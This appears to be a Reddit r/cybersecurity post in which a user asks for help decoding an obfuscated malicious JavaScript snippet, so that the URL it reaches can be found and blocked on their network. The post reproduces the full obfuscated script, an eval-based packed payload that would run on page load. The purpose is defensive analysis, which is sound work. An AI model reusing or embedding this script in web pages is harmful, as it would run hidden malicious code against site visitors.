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Decode malicious JS
Jan. 24, 2022, 5:14 p.m. | /u/2optimistic4u
cybersecurity www.reddit.com
Can someone decode this malicious JS so I can get the URL and block it on my network?
<script>var MJwum22e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function oFRfU79c(d,e,f){var g=MJwum22e[2][MJwum22e[1]](MJwum22e[0]);var h=g[MJwum22e[3]](0,e);var i=g[MJwum22e[3]](0,f);var j=d[MJwum22e[1]](MJwum22e[0])[MJwum22e[10]]()[MJwum22e[9]](function(a,b,c){if(h[MJwum22e[4]](b)!==-1)return a+=h[MJwum22e[4]](b)*(Math[MJwum22e[8]](e,c))},0);var k=MJwum22e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k||MJwum22e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(oFRfU79c(s,e,10)-t)}return decodeURIComponent(escape(r))}("eUbeleUpbleUbUleeUBleUpUleUbbleUpeleeUblBebleeeUleeUUleUBeleeUbleUbblBUeleeeUleUBeleUpeleUbeleUpbleeeUlBebleUeBleeUbleUpbleUeplBUelBUUlpBelpeBlpbpleUBbleUbUleUpUleUBpleeeUleUbelpUBlpUblBepleUbblppplpUbleUBplpBelpBplpbUlBepleUUelpppleUBUlBeplpbblBepleUpBleUBUleUbeleUpUlpeelppUleUUUlBbblpbUleUpBleUbUlpeBlpBbleUBelpBeleUbplBeplpbelpeplpUBlpUeleUbplpeplpUBlpUeleUbpleUbUlBbelppblBeplppblpebleUBpleeUbleUUelppBlBBBlBbUleUbelpUBleUbpleUBeleUeplpeblBBBleUBbleUUUlppplpBBleUpBleUeplBbelBbBleeUBleUeBlpeBlpbUleUBpleUUeleUBelpUelBBBlpeplpUBleUbeleUpbleUbelpeBlpBBleeeUlpBUleUBelBBbleeUplpBblBbelBbplBepleUbblpBplBbpleUBBleUeBlpppleUUeleUpBleUepleUpUlppbleUpbleUUelppBlpeeleeUeleUeBlppBlBbpleUpeleUeplppBlBBBlBbeleUUelppBlBbUleUBpleUepleUpelpBbleeUBleUUUlBbelBBBleeUblpbblBbeleUpBlBbUleUepleUpUleeUbleUpBleUUelpBplBBBleUBUlpbBleUpUleeeelBeplppBlppBlBbUlppBleUbblppBlpbUlpepleUeBlBbblppbleUBbleUepleUBpleUUeleUpBleUUelpeeleUbelBbBleUbUlpeeleUBplpppleUbelpeUlpeeleUUelpbBleUBblppeleeeUleUUelppblpbBlBbUleUeBleUpUlpepleeeblpbBlpUplBepleUpelpBUleeeblpepleeUelpbBleeebleUBBlBBelpUplpBbleUpblBBblpbblBbblpbpleUBbleUbUleUpUleUBpleeeUleUbelpUplBbBlBpblBUUlBUblBUblBpUlbBBl",68,"UebBplGTv",36,5,39))</script>submitted by /u/2optimistic4u
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